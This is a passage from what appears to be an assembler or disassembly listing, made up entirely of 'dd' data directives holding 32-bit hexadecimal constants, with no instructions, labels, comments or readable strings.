		dd 10AA8CEEh, 563E9C00h, 3B703CEFh, 0BD891A1Dh,	758029F1h
		dd 6CA601EBh, 5C27E190h, 1ED95086h, 0E6B90214h,	3FE0DE5Eh
		dd 0FA45A0Ah, 0BB40B68Dh, 62CEF12Bh, 34C9AA6Fh,	0F4E91D5Ch
		dd 62B300FBh, 501BB790h, 2EED83ECh, 0A10029F2h,	38AC54B2h
		dd 8200D825h, 1F581198h, 0BDD2773Eh, 24EE4A4Eh,	0F16A6181h
		dd 0ECE77B01h, 674C1BB2h, 36DF1A00h, 2CA5E262h,	0D78012A8h
		dd 9729B2F6h, 876FFF52h, 0A0096E38h, 45DCA40h, 0E9041723h
		dd 8220FC20h, 579A1FDBh, 467C06EDh, 0F60D011Dh,	0AB7C5FBEh
		dd 5BE406F8h, 12296E88h, 0D1C162E2h, 282E3757h,	7B97B633h
		dd 30BED85Bh, 0DF994203h, 47271BFh, 5689CB68h, 340D8B47h
		dd 9EA05F80h, 6765972Bh, 0D4EBAEh, 16E0EE02h, 0A1DE0F42h
		dd 2EB2E48h, 0C781851Bh, 0EB584A0h, 0C9662EAh, 0ADD2520h
		dd 1E1F639h, 2363E52Bh,	7AF986E8h, 14C8519Ah, 20BF2BC5h
		dd 0D19F1AB1h, 27E0800h, 0BF5BDA8Bh, 81823C64h,	31398C4Bh
		dd 17FFB54Ah, 1BB9CC9Eh, 6042E8B7h, 755B0FCCh, 65004F78h
		dd 0B4A270EDh, 45E97B12h, 0DDD822BAh, 0BD75ADA9h, 0D2B68046h
		dd 8B7F73D7h, 0CDABDE51h, 26342E9Eh, 0F20123FEh, 4A5071A8h
		dd 531DF61Dh, 9EA0BE83h, 46E0B595h, 0A7F5BC25h,	2C544151h
		dd 899BA1FFh, 7C8595D6h, 2B4BE169h, 9AD1B71h, 0E4628A7Ah
		dd 4B83F7AAh, 37AC1234h, 0BEEEB312h, 30DEDB22h,	15E4F381h
		dd 661B2225h, 36BB05F8h, 0AB4DD30Ah, 308087DEh,	0AEC827DDh
		dd 23AE574Bh, 8BBB51C0h, 5F640D70h, 0D94DA96h, 0A062E7AEh
		dd 0B5A2BF0h, 0B6225338h, 4B3D4C5Dh, 0C8429ADFh, 777DC017h
		dd 32DADCBh, 97E354BDh,	9B20EA33h, 7C57C381h, 965C2E68h
		dd 0B0B70B5Eh, 1C02535Eh, 0F1BAFE8h, 9D12FDBFh,	0A59FFCD1h
		dd 10F778Ch, 0B173019h,	2EFAB2D7h, 9BE2F35h, 2F71123Dh
		dd 52C2F5C9h, 88E0CF4Dh, 0BF5650F5h, 610BA90h, 0BF467800h
		dd 8BC9A41Eh, 5D0D0326h, 4B13ED1h, 0A7184FD1h, 88657658h
		dd 81572B91h, 32BF8A0Ah, 1629F4E4h, 1B20094Ah, 24B352D0h
		dd 9ABD2E1h, 3F7322E5h,	548971A7h, 216A6800h, 0E45C0F30h
		dd 8DFA4B8Bh, 0A1306F26h, 95B2E380h, 0FF7AB17Eh, 6ECF6798h
		dd 0BAC99509h, 80167169h, 94BF6656h, 0C65E5F0Ah, 0F300C57Ah
		dd 571DD274h, 6F256A36h, 851CC513h, 0AF058D29h,	5F381E49h
		dd 45AA909h, 0C49BC15Eh, 0F272419Fh, 428903AFh,	0C45611C5h
		dd 0B1089AEAh, 435281Eh, 0ECC127BFh, 4A9BAD37h,	3300EE6Eh
		dd 7C64CCFBh, 0B0B2E7Eh, 552A91BDh, 0A80BFBBFh,	177A1864h
		dd 7B8BE4B0h, 419400A4h, 0CB95C06Fh, 0F6017B0Bh, 971045ECh
		dd 0E33B6A38h, 75F22DC4h, 8A878CB8h, 92E00A00h,	0C1BFB04Ah
		dd 193D14C7h, 6E13955Fh, 0B5DBBBEDh, 0AF7E5FC0h, 995E8529h
		dd 0EB81F341h, 0F2EC993h, 69CB0105h, 10BF0E52h,	8141E1h
		dd 4F505C3Bh, 7C637014h, 0CA0080EAh, 82B7F6D4h,	3BB328Dh
		dd 55486E28h, 75B8505Bh, 1112FCC1h, 6B122990h, 0F17FDE2h
		dd 2E4CCD82h, 0BB7ECBBCh, 0C0D1D0EFh, 0F8E2A700h, 8023ECD4h
		dd 0BF6B4BCFh, 0D84F706Ah, 97004E15h, 0CE10A656h, 8A399D03h
		dd 508DC5F7h, 2B390FD5h, 0FE83A71Bh, 0B9DE5022h, 0D372570Eh
		dd 63E160CDh, 0A03855BFh, 80297197h, 0D49FD1FFh, 0FF0B694Eh
		dd 509D9E5Dh, 0BDF91374h, 0B51065F8h, 0AA4B338Dh, 0F06F2E35h
		dd 7D09D03Ch, 8BD56E7Ah, 0D8C4ECh, 761E017Ch, 2A5721FBh
		dd 7BD01F01h, 0C9E027C5h, 0C4E6B9DCh, 0FB5BD880h, 98D6479Ah
		dd 0BF055FC0h, 1BE93CF1h, 398A8EAFh, 5B2E2D78h,	0F53D796Eh
		dd 71E8F0A0h, 80F9A50Bh, 0E0C475D3h, 35044970h,	0B748CFB6h
		dd 184ADAC0h, 0BC231217h, 227E397h, 0FC8A90F9h,	6B1A5750h
		dd 70BBF640h, 0FB5F9A2Dh, 0F0B7854h, 44AF0121h,	89E8AD6Eh
		dd 69078260h, 784E5D18h, 2B61E289h, 3E04CF35h, 0BB001F81h
		dd 1B297032h, 17FF6A3Ah, 6DBC45B5h, 69139987h, 77E0E64Dh
		dd 500FF0CEh, 4A71851Ch, 935CB315h, 27652404h, 0FCCEB00Ch
		dd 1D69097Ah, 7C0BDDD1h, 0C508B876h, 8B933B0Ch,	0A33BBDEh
		dd 71E48961h, 0E7BF4A2Bh, 8CD24E81h, 8B95D815h,	1E8771B5h
		dd 0C6A3C5F4h, 0B6E2EA17h, 98BFA450h, 0D8984814h, 4AA6C128h
		dd 0F24FBFF9h, 0B2B2D291h, 0D972A44Ah, 0D520FEB8h, 0AB04951Eh
		dd 6C3E8989h, 0CFAF93AFh, 3A0316E0h, 4B4F5DFCh,	0C2DAE91Fh
		dd 8E6EE3BDh, 185285Dh,	4039EC0Ch, 0AF4AB724h, 0D2B2BDC5h
		dd 6471D725h, 972CCEE6h, 192781F0h, 6498761Fh, 0D8FA5812h
		dd 213D5EE9h, 424F6D43h, 32D80183h, 0BD8D3095h,	0BE354B05h
		dd 4165C82Dh, 157A662Ah, 690005A2h, 28F18D09h, 20779495h
		dd 54D266C2h, 57B19A62h
		dd 7EC0FA12h, 739D2155h, 0EA5E2785h, 51C645F1h,	6D98038Bh
		dd 24E8CD34h, 0D00050B7h, 879AE082h, 720C3028h,	5BBC25D6h
		dd 1B596D5Bh, 88099E18h, 7C97E254h, 0B9F90286h,	3DFF1091h
		dd 3B620BD9h, 4955A5F0h, 615BEC8Ah, 8B95DAF2h, 0DC115CE5h
		dd 5DD5DB09h, 6A22F7E9h, 41FD9A2Fh, 9D33FC8Bh, 218B4209h
		dd 39786CD7h, 0D0899EB8h, 2002C02Bh, 0E90B4052h, 0F249BAE1h
		dd 0B3DF5292h, 82B1D7CAh, 4FA7B2F0h, 60FA8961h,	230EA45Bh
		dd 40A0AE7Bh, 5378F6BFh, 0A4955A31h, 2BE35F9Bh,	1CDBBB24h
		dd 560085D0h, 99F1F2D4h, 0E32580ACh, 64DE6D20h,	0F0306018h
		dd 0DB2624B1h, 2B750966h, 0B520CC57h, 1C5910DBh, 0BE273526h
		dd 0A01FED4h, 0D93DE09Bh, 0AFAE256Eh, 0B40031B2h, 14D50CAh
		dd 2B5B258Dh, 1BFC3CF2h, 0DA65008Ch, 2C2DBBE1h,	0B324FDF0h
		dd 5DEA532h, 2FA2CD83h,	0B3C5EB02h, 2DC13005h, 51309EAFh
		dd 33A56B11h, 0DBBDD86Fh, 0C2821C27h, 263A553Eh, 0E735F7h
		dd 85013DA1h, 64952CCDh, 0CAFA4A21h, 4BF10FAh, 9110794Ch
		dd 0AE125B03h, 0C489FDA2h, 414C4FD7h, 2B68C42Ah, 0AF9662ACh
		dd 4504188h, 4D69E509h,	0A2D8ACEFh, 94EF5751h, 868F6360h
		dd 8D890833h, 60122861h, 0F6EBFh, 0D3CA4994h, 9953F505h
		dd 2E0787E2h, 0C9C07085h, 0C1016D3Fh, 3C34A57h,	0BC3B843Ch
		dd 78BB02FCh, 5C1224E2h, 36ED2524h, 7AD3F1C0h, 0F9BD1689h
		dd 9B94FC25h, 5C05D212h, 20976E14h, 2649B57Dh, 0A5C9DB95h
		dd 7B079461h, 0E9D6F2E2h, 9E0A898h, 66508FECh, 0E91BE45Fh
		dd 0ADC72009h, 0AFBE2755h, 5BE2A2B0h, 0F51455F5h, 4EBE535Ch
		dd 204B14ECh, 19A9CE2Eh, 8E59BA00h, 0F52872CAh,	5ACF0078h
		dd 8A042F94h, 60094469h, 575B5F61h, 188002C5h, 0D4ACB006h
		dd 0E6D90280h, 6AB6BF66h, 3159FC43h, 6D582F14h,	69D7C994h
		dd 0BCC1FAB0h, 0D7F340EAh, 5BC52FDBh, 74957EEEh, 6E50D4C6h
		dd 1340CDDEh, 75E30481h, 0B807DA39h, 10B2D039h,	0E90B16D9h
		dd 0B39A021Ah, 91AD35DFh, 0CFDE801Dh, 0ECE21E0h, 0A59DD17Ah
		dd 600BB346h, 5E162EFDh, 0AFB32DE7h, 0FC5A0AE9h, 854A849Eh
		dd 0E0D7C6ACh, 0F64AEE1Dh, 16B273B6h, 2DFE0130h, 0A97D23AFh
		dd 0A1905B96h, 8AD0F82Ah, 0B5296D09h, 890F41F5h, 0F07BA62Eh
		dd 94EE8AD3h, 0AF66C414h, 42C31C74h, 0C0C14A7Dh, 0B4C380AFh
		dd 0EF8C1B5h, 830EEB04h, 0E612F1E8h, 40271E18h,	3695CDFCh
		dd 0BA247DD8h, 0F02BC45h, 0D577B331h, 0BC9BBF64h, 1F841778h
		dd 0BD5E16Ch, 616491B7h, 0FEE053Eh, 723EB987h, 0ACB62BFh
		dd 0BA621E20h, 0C02600D4h, 196ECBE2h, 0B810BC68h, 4B7A1452h
		dd 43738005h, 3DF74DBBh, 1639B805h, 0FA7143FFh,	2DFD0B71h
		dd 0A546002h, 0D7AC3042h, 9FB0EB1Ch, 6F329520h,	4184A05Ah
		dd 0D28DB861h, 2139888h, 0DD7DCDF4h, 797D7612h,	0A6909C6Bh
		dd 0D526605Ah, 1E0945FAh, 0D6CEC152h, 0DD8A05D9h, 8ADA9490h
		dd 7E6A5E2Ch, 0B2339513h, 0C51D50D2h, 97612240h, 0FD9CB71Eh
		dd 387D04D4h, 0C20B1CACh, 51292162h, 0A75545AAh, 22AD1C73h
		dd 1CF4D404h, 902335C0h, 0E9D31214h, 517BAB5Ah,	0F401543Ah
		dd 0C93F053Dh, 0DFA8308Ch, 2FBBB012h, 4F8043ACh, 0FD01CD30h
		dd 6EE83B00h, 0F5E5ED98h, 7BC0933h, 0DC71A83Ch,	0DC412DD7h
		dd 377A6A0Bh, 7E56D62Dh, 4AB954ECh, 772CBF0Fh, 0BD044A3Bh
		dd 0B48E8E5h, 0E37C9C8h, 94246A50h, 95817A4h, 0EBCF9704h
		dd 887E4C43h, 0E074E9B8h, 0BA051476h, 9775940Bh, 0DEEF0730h
		dd 33A8100h, 0F1EA4BE5h, 78561261h, 0BAA2B6h, 0D9838F86h
		dd 2DE79257h, 38DB5F4Dh, 0FE162DBDh, 6E5DF47Fh,	7310259Fh
		dd 0F253A51Fh, 265886ABh, 0ABE002F9h, 0DDF3E7F8h, 0CF0025D1h
		dd 0DA64826Ch, 18670CAh, 3610FE48h, 304E526Dh, 97A8ED95h
		dd 4097965Fh, 0EDE216C2h, 80F1DB2Bh, 0E6BB6A33h, 1C892B1Eh
		dd 257E26A1h, 395AFC53h, 0F63B3BA3h, 301DB204h,	0A0385699h
		dd 0E51C81C6h, 0FC2B76CEh, 0B594E66Bh, 0AC80DAE9h, 0D7FD4533h
		dd 10AEA448h, 0F52518CDh, 8D041273h, 792925DDh,	3A72B831h
		dd 56626ED5h, 31000619h, 0BD0D7D95h, 0B7229046h, 0A0604AF9h
		dd 258310D8h, 0DE6611Bh, 6B258098h, 0BF0BE49Fh,	0C870DCFBh
		dd 5145301Dh, 5B90B252h, 13EF48D2h, 0B2B75291h,	291A8FEh
		dd 0F6D18554h, 6043AF6Ah, 0ED5586C2h, 611864E5h, 12B3A91h
		dd 0CE81602Bh, 40F74220h, 2008871h, 4192A19Ah, 6EA9007Dh
		dd 15CE424Fh, 82BF6198h, 0F7DF1982h, 0B060E7CFh, 416D6C6h
		dd 96C2F928h, 0E60BE142h, 0E47BCD77h, 24AE6418h, 1713A8F3h
		dd 5FA9E27Ah, 0A88CA9D3h, 48EB02B9h, 0C4674AE3h, 7D138482h
		dd 1951565Eh, 5132B311h, 15A81698h, 2F45A00Ch, 7BBFE52h
		dd 36166A44h, 0C15C195Bh, 0CDAF12EFh, 804C7C0Bh, 3E81FA89h
		dd 27250061h, 2EFDB280h, 1A1F5643h, 0EF0228EEh,	0E919B529h
		dd 9A7A5BC2h, 0C019C868h, 0CBBB17A0h, 1005C125h, 5B4299Ch
		dd 0B952A6F8h, 990683D3h, 66F2E05Bh, 80D59A93h,	0E9DEBE67h
		dd 0EBD4880Ah, 723E53Ch, 0EF3E478Fh, 4F4F7999h,	24AF4B91h
		dd 79AEF4Ah, 0D9C01BC8h, 0CE9FFDFh, 0D8ED5DB1h,	0A4A615Eh
		dd 293C88E2h, 0A80E1597h, 0F88AF053h, 0F8C25AE9h, 0FB6E4E4Ch
		dd 0ED1B7B00h, 0B5CA63D6h, 88B4BB00h, 0C18B090Eh, 0AFBD09BFh
		dd 115C7E1Ah, 44400DC4h, 1270FD74h, 0DCD18B07h,	0C390A2B0h
		dd 95870F05h, 905B1830h, 51402AB4h, 70FAA8AFh, 0A75C00DAh
		dd 0EE0FD29Eh, 4639ED8Bh, 7D1F929Ah, 0A0BFE9C3h, 0B5126D4Ah
		dd 5D903FF0h, 8A3E4C0Bh, 332B5FFDh, 6A1819FFh, 0C03B9B7Fh
		dd 0A8CF96D9h, 2BF279Ah, 0C64E12FFh, 0F5E70014h, 367CDC3Dh
		dd 83014331h, 73D6BD6Dh, 0A03A324Ch, 6A4F5FAAh,	51C0579Bh
		dd 484ECC85h, 0D72D03E6h, 86B1515Ah, 0EE60F4B3h, 990E1D20h
		dd 0FE253C4Ah, 0A59F3CD4h, 6CB5A5A3h, 0F590AA00h, 1ECBCCF0h
		dd 808125A0h, 0B241AE5h, 50FFF88Bh, 35B060CFh, 7432E29Dh
		dd 0EC9A02E3h, 0FE0921A1h, 943D12B2h, 0EFDBFFC8h, 0F2F51AC0h
		dd 0C012BFE8h, 9BA5EC5h, 947916B7h, 7C181DF9h, 5A1F700h
		dd 628A6FABh, 0B758E1EEh, 0DDFE4B8Bh, 33DA6A9Bh, 8D01AC81h
		dd 0FEB92A31h, 0F60D8512h, 301DF29Ch, 0E00DAF0h, 46B9BFD7h
		dd 0B79385AEh, 0CD78641Ah, 0FF347D09h, 0F4F8C3D1h, 99E38ABCh
		dd 297AEA84h, 26AE00Ah,	9409DE91h, 0FAC4B351h, 0A2904A74h
		dd 0F2007A88h, 0B239C21Ah, 0B3F6BDCh, 35B79050h, 35B55D94h
		dd 50E600D7h, 9626C269h, 5D324E09h, 27459D0h, 951EBEA7h
		dd 472E51DFh, 17DE29FAh, 0E95BDF02h, 0E01C57F9h, 0F2FE2721h
		dd 0F0708C39h, 0A0144EC7h, 0C08A3797h, 727A2980h, 32920978h
		dd 0CC5C73B9h, 508373EBh, 0F60E4D26h, 5DDF8BFEh, 0FD90DD32h
		dd 565B586Ch, 90845EBDh, 84ACBDF8h, 0EF74D98Ah,	0CF2D266Eh
		dd 0D3A74173h, 0AB16501Ch, 4DFF6A27h, 0FE6CC71Ch, 7482E68Bh
		dd 0CFF502FDh, 0FF0B401Ah, 51581E65h, 0A5910E9h, 34C45B2Dh
		dd 91A5D902h, 0D7813F8Dh, 0C70B9B10h, 80EA1800h, 4BADD61Fh
		dd 914604B2h, 0FA5BFC8Ah, 8A3D539Ch, 4800EA71h,	22B6DE4Ah
		dd 0F10F007Bh, 9C878EECh, 0FC095C07h, 78B045E1h, 17952087h
		dd 5770E602h, 5D71E45Fh, 0C110EB90h, 4399C00h, 150533ECh
		dd 0DC6F0F6Dh, 3BC0F976h, 0B8943DFDh, 1B5310Dh,	482FDF06h
		dd 0DEADF122h, 0EB4B3F6Fh
		dd 0DF811420h, 880C4EF8h, 0D0975019h, 40389C61h, 2DC3B01h
		dd 9304A609h, 0A61ED067h, 0C53803D4h, 0B48E1B06h, 0F9129EF8h
		dd 4B0408EAh, 0ADD0410Fh, 77A720FEh, 0D902F69h,	0E5973300h
		dd 26786617h, 0B7551EECh, 459DC41Bh, 4B74B914h,	0E3504BC3h
		dd 0B5528DBDh, 8A5D0BBFh, 0E1D1D987h, 0EC43C380h, 51977CE9h
		dd 8596BF09h, 0D21DB804h, 757228F1h, 0F0DDFB00h, 0F2BC1064h
		dd 88D1ED6h, 5CDEF4h, 7E54B425h, 790802B6h, 71A9B158h
		dd 0CAF82D5Ah, 798D29B0h, 0D52FA79Ch, 2B7958A9h, 5214BB81h
		dd 8A6B23A6h, 0BCCD5A88h, 0B32D622Fh, 0C71425Dh, 4E458468h
		dd 92C8A34h, 772E7753h,	30808337h, 4B492784h, 0ADDA50BEh
		dd 0C9E1B5B2h, 17E66F6Ah, 0E9C982F0h, 0CE18EB00h, 2E6FCF33h
		dd 24D372BBh, 0B4B327Dh, 0B05C2C45h, 0A11186E8h, 7EAFF14Bh
		dd 950859CBh, 0B90421A5h, 0DEAB103Ah, 379A8079h, 25A480A9h
		dd 77D1513Bh, 4E40951Ch, 10D96277h, 4509F001h, 9AF42B25h
		dd 13F13ABFh, 6FC02B96h, 89A209DFh, 30E075BDh, 0B98D22Bh
		dd 7332CD25h, 0B6060EDh, 3892098Dh, 7A8B6697h, 0F5FD0BBEh
		dd 0E4556134h, 1C90971Dh, 0B7D5B51h, 2EB22155h,	1423FE6Bh
		dd 9E307C12h, 9F88AEDh,	23AC8D2Ch, 0C44AA3FEh, 0DCC2DA13h
		dd 0EA06748Bh, 0C700D62Eh, 27F45D6Eh, 0C9EB9h, 0F381A844h
		dd 4ABB5919h, 0E45C6B8h, 0F4BE173Bh, 81EC2980h,	570C1969h
		dd 0E96F3EE5h, 44C079FEh, 0C9FE5249h, 7FE08961h, 4C47909h
		dd 0AEE1BD23h, 0F7FFBB28h, 28B8747Dh, 61BA9100h, 25BD8B49h
		dd 0A0408220h, 67B51769h, 4BCC11E6h, 0DA3EC08Ah, 88EC9EC9h
		dd 492BF69Dh, 7544B271h, 0A017F7EAh, 0A1C211Eh,	1370E46Eh
		dd 0C18515E2h, 80C602Ch, 0C2250791h, 19F9777Ch,	859B584h
		dd 449E64BCh, 622C698Dh, 4B1BC6B2h, 2561DCD8h, 64900B43h
		dd 6CDEC0FDh, 8631A30Bh, 37B35EFDh, 59BD93C9h, 4BF96958h
		dd 0A8FBDE5h, 0EEBEA1BBh, 2312DEC1h, 0CCFA6A5Ch, 4300965Fh
		dd 573F333Eh, 6872A8h, 12057A1Fh, 80A37BBFh, 79C0294Ah
		dd 0F91A79E0h, 5E15C630h, 0D20DE92Dh, 800207E3h, 0E8E9E4D7h
		dd 0E46083E9h, 0A8A0B5F4h, 61812591h, 230C6B2Fh, 7D8B001Ah
		dd 5F9F683Bh, 0C8539739h, 322D16E5h, 6E472DBEh,	1400D06Ah
		dd 0B8473971h, 5109F268h, 2B418531h, 0BF480122h, 162F4036h
		dd 587BAA0Ch, 0B97DD102h, 0CCF7D074h, 559D1029h, 96A99333h
		dd 58397AB8h, 72A1933Eh, 0DF890F09h, 32AA9894h,	8794382h
		dd 7697B2D5h, 0ABFED4CAh, 0A20147E8h, 20F540B1h, 0BD338F0Fh
		dd 0D355D240h, 0DC351A69h, 691E6657h, 6ACA0996h, 4614B400h
		dd 6C9EDC8Ah, 4E40D62Eh, 98C699FBh, 0DC8AFAA9h,	0B6782F17h
		dd 0AEDB965Bh, 0D9388080h, 0B64ABF6Eh, 0F97C32BFh, 510667Eh
		dd 0C21B6802h, 0B45CC60Ch, 2C16554Bh, 95B1DABDh, 41F808E3h
		dd 290B3A12h, 56196585h, 19F65B84h, 9523601Fh, 0EB442816h
		dd 0FC41018Dh, 0E9529061h, 507B5088h, 50B5FD8Ah, 0EA6A9F36h
		dd 46D6D756h, 79450915h, 0A8127F8Bh, 72CCDBF5h,	0A04B665Dh
		dd 97106903h, 0F9E95651h, 4DA900BFh, 57E294AFh,	0F62DF500h
		dd 0E061939Eh, 0F9F85E83h, 5EACA50Bh, 3857E91Ch, 0BC30B94Eh
		dd 0C7B00067h, 83BED227h, 0F25733Eh, 22B8FF80h,	8A007B7Fh
		dd 24F49CA6h, 12E2348Ch, 0E3414EB7h, 0D250AED6h, 0A58B8A0Ah
		dd 6A426030h, 0D59D0B09h, 4201EF1Ah, 0F07543D6h, 0EB8109EAh
		dd 0E171B0CCh, 9357D946h, 0D8337877h, 31EB5000h, 24E4BFFEh
		dd 0D965B5B8h, 0FC25A691h, 81EFBF57h, 0A5D089E3h, 0A7E66BFCh
		dd 29A19D09h, 81809C73h, 7F24E3D3h, 960265Bh, 0B2810F2h
		dd 0D2C9BD2Bh, 0B0BA9511h, 0B5D4AAFCh, 5B601D56h, 1756968Ch
		dd 475F97B7h, 0A96EAA27h, 13FF24F7h, 0D061F507h, 4B1F3E9Eh
		dd 49759595h, 134234F6h, 28F9558Dh, 0FE2274A4h,	0FE9A7C97h
		dd 12563938h, 2E01E2F8h, 301A2B0Bh, 0E554CBD8h,	0E66B6BE9h
		dd 52A6B599h, 5C7D7203h, 3E9869F2h, 8B028016h, 0B8DD03BFh
		dd 25985C02h, 12F680D6h, 0ACAC85F1h, 6ABE4BFFh,	9EDC4B0Fh
		dd 7BE703F0h, 0B21FFC52h, 4BD4F28Ch, 0AF4B74ABh, 864056B6h
		dd 8DBD4BB5h, 0F76E2BC9h, 8D294D04h, 0E96F047h,	8EF08181h
		dd 3BD25A4h, 784F1C2h, 0F07AE58Dh, 53973261h, 181B7987h
		dd 48A802EDh, 0E22E1A16h, 0B88674E0h, 6039CF95h, 1CBB3476h
		dd 7A585609h, 7518FF6Ah, 91005A3Ah, 7335D7D4h, 2DD09455h
		dd 89FB3806h, 422FAC2Bh, 0D5FD8B13h, 4CA538B7h,	635E0066h
		dd 80C02D2h, 1083253h, 252C31BDh, 0DC9DF358h, 0BF5160F1h
		dd 0C004859Fh, 52965F60h, 26E9D3D4h, 0DD37BA93h, 0E10B8666h
		dd 89BD302Eh, 2BFF2D9Dh, 3134F38Eh, 0F01DF630h,	0BA725Ch
		dd 0C0D6F8C4h, 0B7E33DB2h, 71747C62h, 1866DD11h, 81025C84h
		dd 0E6B785E3h, 6EB75C76h, 48C9EF9Eh, 6D468C60h,	2595C717h
		dd 7DDC13DDh, 4E38050h,	999D333Eh, 0B483B823h, 0C31BDABEh
		dd 2D52AED2h, 0BBFA9556h, 447C9495h, 3A97F943h,	5166F377h
		dd 62EE7CBAh, 5C24DDF6h, 1E134C73h, 49656081h, 9762C4CEh
		dd 65A5677Ch, 0CE98581h, 0A5A6EAF4h, 0C15FF5F2h, 632B2898h
		dd 8D850F3h, 3B00B9AAh,	0FB78C1D4h, 27AB0C93h, 902E6A74h
		dd 8DC6657Fh, 16E666BDh, 390D88Ah, 5014E879h, 0DEA99BB5h
		dd 40A16C8Eh, 0CC1A9C8Ch, 205B9875h, 6FED10D1h,	0E7BFB500h
		dd 48603A07h, 929BD23h,	0BCCE3CD5h, 0F3BAD856h,	0B67BB861h
		dd 90F5A51Ah, 7114BB31h, 0D801604Eh, 62F0CDFh, 10505348h
		dd 5B2F1ACDh, 89959350h, 702DDB2Fh, 0A800750Bh,	76821620h
		dd 9EE70117h, 0B5D253Ch, 89F83739h, 0DD56578h, 0B6934024h
		dd 0BE1CC425h, 0A6F2EEA6h, 0A5E0D1FDh, 0AE1CBB25h, 0A1D277A3h
		dd 0E2DE2EEDh, 7A4EEEC0h, 8B5A5351h, 6F2BCDB1h,	0B15C00E4h
		dd 3FF519FAh, 0FC9495F9h, 0D5F95F4Bh, 4F02DDECh, 1ED4123Bh
		dd 0E0E075D3h, 6A25C7E6h, 0D200FF02h, 505D99BFh, 0F0200199h
		dd 1B21F4A0h, 0D6CB40B1h, 0B3B0D63Dh, 3E716795h, 0A62F0C97h
		dd 7D4CF247h, 5E17C60h,	0DE565C95h, 9F46D808h, 3DC5266Dh
		dd 185F2B25h, 0BFADB0Dh, 9023B98Ah, 3450C687h, 0BCE6FBD8h
		dd 4A1CDDE0h, 8B579A05h, 51B1199Dh, 0A4A2EC3Eh,	33A8F8EDh
		dd 7B884B18h, 5E158DF4h, 92F6BD05h, 22180BEh, 0B32F3035h
		dd 0F91F25Fh, 0D7B5193Ah, 0B9A482E4h, 4AB29013h, 0DB60F8A5h
		dd 0B7095AB5h, 37B24A89h, 328EF100h, 6A84C89Dh,	0DDE707B7h
		dd 25B533FCh, 0F8222D0Dh, 94D510A5h, 30084554h,	55AC93Fh
		dd 57A1EAF8h, 4EE1C87Eh, 3BA54B04h, 310152F0h, 434A19Dh
		dd 0EC0784AAh, 5BA35A51h, 126BD928h, 0B20A319Dh, 61BB5B7Ah
		dd 0FABAD99Fh, 803B8D5h, 8D81015Bh, 720B54AFh, 4736617Fh
		dd 0AAC8D4A5h, 0EB8114D0h, 0C6F14AC4h, 0A5206C53h, 0AED89D08h
		dd 61EFB515h, 71192582h, 0DFBF02A5h, 438087E9h,	0A4A3C781h
		dd 17E70AC2h, 44F8C03Ch, 30E34Ch, 0BF0D4E9Dh, 0C407764Ah
		dd 89E84C60h, 0CA7B34BFh, 0B738D01Ch, 0D04BEC6h, 612429DCh
		dd 5893B6ABh, 6985129Ah, 5FE915E4h, 29542141h, 868A2B16h
		dd 5864D825h, 0A88115FFh, 292B24D1h, 25860158h,	44AE7218h
		dd 11EEB566h, 25BD0B80h, 62651BCDh, 0C9872039h,	38D7D8CAh
		dd 2586F731h, 0E5376A33h, 55C83789h, 0DF4BE515h, 95562D6Ah
		dd 9034A943h, 7FD0A4F7h
		dd 0C6B91CB6h, 0F47D2C10h, 555D059Dh, 37A19252h, 0EBF5AD02h
		dd 3EE6BD98h, 14460FE0h, 2B96F909h, 0C9807CC0h,	94FE9D5h
		dd 2B857B6Ch, 0E024B6D2h, 122989A5h, 0B62AEDBDh, 0D7BBC066h
		dd 0A06F2CB9h, 43FDBF2h, 15850908h, 3E65EF19h, 102D30FBh
		dd 5512C02Fh, 6EB17A23h, 667E986Bh, 30AC0C01h, 0FF32D0A0h
		dd 89C4F82Ah, 64B8CD5Bh, 0E048631Dh, 1DBD657Ch,	0CA8689Eh
		dd 0B9665163h, 0AA2C0E45h, 945F2127h, 0D43D9E90h, 0F2E6B304h
		dd 5AACF5FBh, 23262BB9h, 14FD250Ch, 9F445FCh, 1C79BD8Eh
		dd 735ECA2h, 6096FC0Bh,	0E3167360h, 7B14B800h, 0EC9DEE09h
		dd 0B6C0013Ah, 0A58D316Ch, 76DF6A04h, 29D7AA6Bh, 0BDDB62BFh
		dd 0BE4FBEA2h, 2320AC35h, 4C938F16h, 5013540h, 36C52822h
		dd 0C88D2E08h, 0DD61760h, 5F4D2F73h, 4E5532F4h,	0BA4AC4ECh
		dd 86B7AC2Ch, 2B58E8B3h, 0FE670554h, 0FC0D16B5h, 4E7082A7h
		dd 7E41C064h, 813A3A0Fh, 0AC8A5902h, 84DF5616h,	0EDAC5BE7h
		dd 0EB04D5A7h, 0C93F1C7Ah, 239C8305h, 7A41AFF3h, 0C65BD89h
		dd 3580CE6Ah, 2AB711Dh,	600253D4h, 26BB775h, 0FE8D04Bh
		dd 32617520h, 3B1300E6h, 0CFD44996h, 56164D06h,	0C64158BCh
		dd 605FED73h, 81E4FC2Ah, 615DC280h, 6F0F132Eh, 7AD80919h
		dd 0F94B0252h, 4E1E6411h, 0D912EEBDh, 302D2EB1h, 1A002EB8h
		dd 0B6ACA96h, 0D687ECB8h, 0B3A61268h, 1711C52h,	0DE65DC2Fh
		dd 0B8C65A14h, 0C1695082h, 5CC044Ah, 0DC4E9D53h, 4E0D2520h
		dd 6D96C85Fh, 6A44E61Fh, 71B8F289h, 90EAC87h, 0AB5FB350h
		dd 0C0E36D71h, 7AB50A61h, 423F7634h, 1F273AACh,	9DD4965Dh
		dd 0FA65E176h, 0AA12C4FEh, 0B7F8C08Ch, 3A6F487Ch, 0BCFACB77h
		dd 70B88CFFh, 8E779A01h, 808F0D98h, 8A596EF1h, 3A1B8D7Eh
		dd 8489CEE8h, 55490A51h, 8F1D77C0h, 0FD711000h,	8F0F12Bh
		dd 783F9358h, 2B5A9F0Bh, 0BD3E4AB1h, 3EE9D0C0h,	4E7A487Ah
		dd 3EF86FA9h, 0AC96640Fh, 8549DE82h, 783780FFh,	4F9D290Ah
		dd 0A96B9701h, 0D2587B57h, 2F9D7055h, 0A7768D29h, 1AD5BD41h
		dd 0A424FC3Eh, 0A9A0F6A6h, 4D4B8916h, 4B3106CCh, 0AC43D4BDh
		dd 3C7B5EDEh, 5DCAAB2Dh, 14018641h, 0C8EC9AEFh,	62B1C31Ch
		dd 8322603h, 9CB69F89h,	0FE2ED5B8h, 20A509C7h, 0DA8E473h
		dd 0CDE3FD4Ah, 77E25Fh,	0DFC9A0FFh, 0B59D0B6Fh,	5B13525Eh
		dd 89BD09AEh, 0D4CE57h,	0E784709Fh, 0B1CAF71Fh,	0DCE35E9Dh
		dd 0CD96209Fh, 4B13A9F8h, 0FAA8CA4h, 7B88B4Fh, 0CE4A58A0h
		dd 0FA750D00h, 6104DCE5h, 216804F3h, 0E828F25Bh, 4FF0928Ch
